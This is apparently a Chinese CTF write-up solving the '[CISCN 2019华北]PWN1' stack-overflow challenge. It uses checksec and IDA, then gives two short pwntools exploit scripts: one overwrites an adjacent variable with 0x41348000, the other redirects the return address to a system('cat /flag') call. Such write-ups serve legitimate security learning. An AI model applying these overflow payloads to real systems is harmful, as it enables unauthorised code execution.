> 文章列表 > 【PWN刷题__ret2text】[CISCN 2019华北]PWN1

【PWN刷题__ret2text】[CISCN 2019华北]PWN1

【PWN刷题__ret2text】[CISCN 2019华北]PWN1

ret2text~

前言

依旧是简单的ret2text 


一、checksec查看

 No canary found 没有开启栈溢出保护

二、IDA反汇编

 双击进入func()

发现后门函数system("cat/flag");根据语义,函数提供了修改v1,判断v2是否等于11.28125,如果是返回该cat/flag命令的值。

方法:

① 溢出修改v2为11.28125

② ret2text,直接让函数返回到system("cat /flag")命令执行处(本萌新在此存疑)

三、法1:溢出修改v2 

虽然gets()只是修改了v1的值,不过这个危险函数+v2和v1相邻 的情形,为我们提供了修改v2的条件。

 

我们要做的就是塞满v1,多余的部分会修改v2,那么v2修改为多少呢?

  光标放到标黄的比较值处(或双击),会显示其16进制编码:

0x41348000 

至此构造我们的exp:

from pwn import *
r=remote(" ",port)
payload=b'a'*(44)+p64(0x41348000)
r.sendline(payload)
r.interactive()

四、法2:ret2text 

 如果将函数返回地址修改为system语句处,直接让其执行,这是惯用的方法套路

(填充v1+填充v2)+填充ebp+修改返回地址

 

exp构造如下:

from pwn import *
r=remote(" ",port)  #port是端口号
addr=0x4006BE
payload=b'a'*(0x30+0x8)+p64(addr) #0x30指v1到ebp的偏移量,ida中给出
r.sendline(payload)
r.interactive()

 

疑问

 构造ret2text,修改函数的返回地址到目标指令地址,在本题中,修改目标地址为本函数内语句地址,不会造成循环码?即,被调函数不断地返回到被调函数内?萌新总是对这些基础知识不太了解,这就再去看看知识。当然,也希望师傅们跟我说说QAQ